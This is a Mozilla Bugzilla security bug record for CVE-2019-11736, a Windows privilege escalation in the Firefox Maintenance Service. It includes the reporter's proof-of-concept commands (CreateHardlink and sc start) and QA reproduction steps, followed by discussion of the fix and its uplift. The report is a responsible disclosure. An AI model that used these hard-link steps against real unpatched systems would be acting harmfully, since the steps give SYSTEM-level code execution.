Closed Bug 1551913 (CVE-2019-11736) Opened 3 years ago Closed 3 years ago

SYSTEM Privilege escalation via file permission overwrite by Maintenance Service

Categories

(Toolkit :: Application Update, defect, P1)

defect

Tracking

()

VERIFIED FIXED
Tracking Status
firefox-esr60 --- unaffected
firefox-esr68 69+ verified
firefox68 --- wontfix
firefox69 + verified
firefox70 + verified

People

(Reporter: sebbity, Assigned: bytesized)

References

Details

(Keywords: sec-moderate, Whiteboard: [reporter-external] [client-bounty-form] [verif?][adv-main69+][adv-esr68.1+][post-cristsmash-triage])

Attachments

(4 files, 1 obsolete file)

Attached file CreateHardlink.exe

When running the Windows Mozilla Maintenace Service's fix-update-directory-perms command, it guards against symlinked/junctioned directories pointing to another folder, but does not guard against files being hardlinked to another file.

By placing a hardlink to a file in the C:\ProgramData\Mozilla\updates\ directory we can overwrite its permissions to Full Control for local users.

If we use this to overwrite the permissions of the C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe file itself, we can replace it with a binary we control and achieve arbitrary code execution as the SYSTEM user.

You can use the CreateHardlink program from https://github.com/googleprojectzero/symboliclink-testing-tools/tree/master/CreateHardlink to do this - I've attached a prebuilt binary for convenience.

I tested this on version 68.0.0.7074 of the maintenanceservice.exe.

POC:

C:\Users\Seb>icacls "c:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
c:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APP PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

C:\Users\Seb>CreateHardlink.exe C:\ProgramData\Mozilla\updates\evil_hardlink "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
Done

C:\Users\Seb>sc start MozillaMaintenance aaa fix-update-directory-perms .

SERVICE_NAME: MozillaMaintenance
TYPE : 110 WIN32_OWN_PROCESS (interactive)
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 12012
FLAGS :

C:\Users\Seb>icacls "c:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
c:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe BUILTIN\Users:(F)
BUILTIN\Administrators:(F)
NT AUTHORITY\SYSTEM:(F)
BUILTIN\Users:(I)(F)
BUILTIN\Administrators:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)

Successfully processed 1 files; Failed processing 0 files

Flags: sec-bounty?
Type: task → defect
Component: Security → Application Update
Product: Firefox → Toolkit

Can we resolve this just by refusing to touch a file's permissions, or possibly just deleting it, if the file has a link count greater than 1? I think that shouldn't break any legitimate configurations since we're expecting to have created everything in this directory, and we know we didn't make any hard links. We're already actively rejecting symlinks, if I'm reading the code correctly.

Flags: needinfo?(ksteuber)
Keywords: sec-moderate

That sounds reasonable. I'll take a crack at it.

Assignee: nobody → ksteuber
Flags: needinfo?(ksteuber)
Priority: -- → P1

This patch addresses both Bug 1551913 and Bug 1552206.

This patches the update directory permission-fixing code. It detected symlinks properly, but not hardlinks. That detection has been added.

Permission-fixing no longer changes directory permissions directly. It now moves the directory, recreates the old location with the correct permissions, and moves the contents back to its original location. This prevents hard links from immediately inheriting the permissions set on its parent.

Files and directories are now locked while we are using them to prevent someone from swapping them out with a link while we are using them.

This also fixes a related bug that I discovered while testing this patch: nsAutoSid doesn't actually work because both PSID and HANDLE are both typedef'ed from void*, so the compiler can't actually tell the difference between them and ends up calling CloseHandle instead of FreeSid. To fix this, I removed nsAutoSid and replaced it with UniqueSidPtr, a UniquePtr type that uses a custom deleter class to free the SID properly.

This patch addresses both Bug 1551913 and Bug 1552206.

This patches the update directory permission-fixing code. It detected symlinks properly, but not hardlinks. That detection has been added.

Permission-fixing no longer changes directory permissions directly. It now moves the directory, recreates the old location with the correct permissions, and moves the contents back to its original location. This prevents hard links from immediately inheriting the permissions set on its parent.

Files and directories are now locked while we are using them to prevent someone from swapping them out with a link while we are using them.

This also fixes a related bug that I discovered while testing this patch: nsAutoSid doesn't actually work because both PSID and HANDLE are both typedef'ed from void*, so the compiler can't actually tell the difference between them and ends up calling CloseHandle instead of FreeSid. To fix this, I removed nsAutoSid and replaced it with UniqueSidPtr, a UniquePtr type that uses a custom deleter class to free the SID properly.

Attachment #9077863 - Attachment is obsolete: true
Duplicate of this bug: 1566830

Comment on attachment 9072022 [details]
Bug 1551913 - Fix issues setting update directory permissions r=rstrong

Security Approval Request

  • How easily could an exploit be constructed based on the patch?: Creating an exploit from this patch would probably not be very difficult.
  • Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: Unknown
  • Which older supported branches are affected by this flaw?: Firefox 65 and above
  • If not all supported branches, which bug introduced the flaw?: Bug 1458314
  • Do you have backports for the affected branches?: No
  • If not, how different, hard to create, and risky will they be?: This code hasn't really been touched since it was written. Uplifting to other branches should be trivial.
  • How likely is this patch to cause regressions; how much testing does it need?: I consider this patch to be risky. It involves large amounts of complex, platform-specific code that has mostly been tested on my personal machine.
Attachment #9072022 - Flags: sec-approval?
Attachment #9078904 - Flags: sec-approval?

Perhaps I should note that although this bug is marked sec-moderate, this patch also covers Bug 1552206, which is marked sec-high.

(In reply to Kirk Steuber (he/him) [:bytesized] from comment #8)

Perhaps I should note that although this bug is marked sec-moderate, this patch also covers Bug 1552206, which is marked sec-high.

I was going to ask so yes!

I think we can take this now. Sine it goes back to 65, we'll want patches nominated for Beta and ESR68 as well.

Attachment #9072022 - Flags: sec-approval? → sec-approval+

Comment on attachment 9078904 [details]
Bug 1551913 - Tests for permission fixing on Windows

Before I give sec-approval+ for the tests though, can they wait until we ship 69?

Flags: needinfo?(ksteuber)

I would be fine waiting to add the tests, if you want.
Robert- Does that sound ok to you?

Flags: needinfo?(ksteuber) → needinfo?(robert.strong.bugs)

Sure

Flags: needinfo?(robert.strong.bugs)
Attachment #9072022 - Attachment description: Bug 1551913 - Fix security issues setting update directory permissions r=rstrong → Bug 1551913 - Fix issues setting update directory permissions r=rstrong

Comment on attachment 9078904 [details]
Bug 1551913 - Tests for permission fixing on Windows

Clearing sec-approval? on the tests.

Attachment #9078904 - Flags: sec-approval?

Setting in-testsuite? for them.

Flags: in-testsuite?
Keywords: leave-open

Merged to mozilla-central: https://hg.mozilla.org/mozilla-central/rev/d02282987e93cfa67b7bfc6bb575c734b332af4c

As previously discussed, tests have not been merged yet.

There have been a couple of bugs filed (see bug 1570396) for a regression from this bug. I didn't mark it as a regression since it would point to a security bug and I don't know whether the security team is concerned about it pointing to a security bug.

Keywords: leave-open

For tracking security bug fixes we really can't do that. If the "in-testsuite?" flag isn't enough of a reminder to land the tests later please file a follow-up task bug "land tests for bug 1551913" (hidden, of course).

Flags: sec-bounty?
Flags: sec-bounty+
Flags: needinfo?(ksteuber)
Status: NEW → RESOLVED
Closed: 3 years ago
Resolution: --- → FIXED
Flags: needinfo?(ksteuber)
Group: firefox-core-security → core-security-release

Please nominate this for Beta and ESR68 approval when you get a chance. It grafts cleanly as-landed.

Flags: needinfo?(ksteuber)

I'm not ready for this bug to be uplifted. It seems like there might be a problem moving files on certain machines which should be retried by copying and removing. And I'm still investigating whether Bug 1570396 was caused by this patch.

Flags: needinfo?(ksteuber)

Kirk, we have one Beta remaining before RC week next week. We need to uplift this ASAP or make the call to defer to the next cycle instead if it's not ready to go yet.

Flags: needinfo?(ksteuber)
Duplicate of this bug: 1575289

Hey Ryan,
We've finally got the little issues with with this patch ironed out (Bug 1570396 and Bug 1486637) and ready for uplift. I'll get a roll-up patch ready and post it here as soon as it is.

Flags: needinfo?(ksteuber)
Alias: CVE-2019-11736

Beta/Release Uplift Approval Request

  • User impact if declined: This security bug and Bug 1552206 would not be resolved for an additional train cycle.
  • Is this code covered by automated tests?: Yes, but they aren't merged yet (patch is attached to this bug).
  • Has the fix been verified in Nightly?: Yes
  • Needs manual test from QE?: No
  • If yes, steps to reproduce:
  • List of other uplifts needed: None
  • Risk to taking this patch: Medium
  • Why is the change risky/not risky? (and alternatives if risky): This patch involves low-level OS-specific code. Also, the patch from Bug 1570396 has not had very much time to "bake" on Nightly. Seems like the only real alternative here is to wait and possibly uplift to release later.
  • String changes made/needed:
Attachment #9087141 - Flags: approval-mozilla-beta?
Comment on attachment 9087141 [details] [diff] [review]
beta_rollup.patch

There seems to be a problem with the roll-up patch. It applies to beta, but it doesn't build. I'll have a fixed version up ASAP.
Attachment #9087141 - Attachment is obsolete: true
Attachment #9087141 - Flags: approval-mozilla-beta?

Comment on attachment 9087141 [details] [diff] [review]
beta_rollup.patch

Beta/Release Uplift Approval Request

  • User impact if declined: This security bug and Bug 1552206 would not be resolved for an additional train cycle.
  • Is this code covered by automated tests?: Yes, but they aren't merged yet (patch is attached to this bug).
  • Has the fix been verified in Nightly?: Yes
  • Needs manual test from QE?: No
  • If yes, steps to reproduce:
  • List of other uplifts needed: None
  • Risk to taking this patch: Medium
  • Why is the change risky/not risky? (and alternatives if risky): This patch involves low-level OS-specific code. Also, the patch from Bug 1570396 has not had very much time to "bake" on Nightly. Seems like the only real alternative here is to wait and possibly uplift to release later.
  • String changes made/needed:
Attachment #9087141 - Attachment is obsolete: false
Attachment #9087141 - Flags: approval-mozilla-beta?
Comment on attachment 9087141 [details] [diff] [review]
beta_rollup.patch

Fixes a privilege escalation bug in the updater code. Approved for 69.0b16.
Attachment #9087141 - Flags: approval-mozilla-beta? → approval-mozilla-beta+

Comment on attachment 9087141 [details] [diff] [review]
beta_rollup.patch

ESR Uplift Approval Request

  • If this is not a sec:{high,crit} bug, please state case for ESR consideration: This patch addresses this bug, and Bug 1552206, which is sec:high.
  • User impact if declined: This security bug and Bug 1552206 would not be resolved until the next ESR
  • Fix Landed on Version: 70, uplifted to Beta 69
  • Risk to taking this patch: Medium
  • Why is the change risky/not risky? (and alternatives if risky): This patch involves low-level OS-specific code. We may want to give this a little more time to "bake" before uplifting it to ESR.
  • String or UUID changes made by this patch:
Attachment #9087141 - Flags: approval-mozilla-esr68?
Whiteboard: [reporter-external] [client-bounty-form] [verif?] → [reporter-external] [client-bounty-form] [verif?][adv-main69+]
Comment on attachment 9087141 [details] [diff] [review]
beta_rollup.patch

approved for 68.1esr
Attachment #9087141 - Flags: approval-mozilla-esr68? → approval-mozilla-esr68+
Flags: qe-verify+
Whiteboard: [reporter-external] [client-bounty-form] [verif?][adv-main69+] → [reporter-external] [client-bounty-form] [verif?][adv-main69+][post-cristsmash-triage]
Whiteboard: [reporter-external] [client-bounty-form] [verif?][adv-main69+][post-cristsmash-triage] → [reporter-external] [client-bounty-form] [verif?][adv-main69+][adv-esr68.1+][post-cristsmash-triage]
QA Whiteboard: [qa-triaged]

I've managed to reproduce this bug using an affected build, e.g. Firefox 68.0-build3, and by following these steps:

  1. Copy C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe to C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe.bak
  2. Create a hard link from that file to within the update directory. I do this by running an Administrator-privileged Powershell and calling fsutil hardlink create C:\ProgramData\Mozilla\hl "C:\Program Files (x86)\Mozilla Maintenance Ser vice\maintenanceservice.exe.bak"
  3. Verify that the permissions on C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe.bak are as expected (i.e. Users cannot write to it)
  4. Run the maintenance service's fix-update-directory-perms command: sc start MozillaMaintenance aaa fix-update-directory-perms .
  5. Check the permissions on C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe.bak. If the exploit was performed properly, it's permissions should have been changed such that users can now write to it.

I can confirm that the issue is fixed on latest Nightly 70.0a1, Release 69.0-build2 and Esr 68.1.0, under Windows 10 x64. Thanks, Kirk for helping me reproducing this bug.

Status: RESOLVED → VERIFIED
Flags: qe-verify+
Regressions: 1595470
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.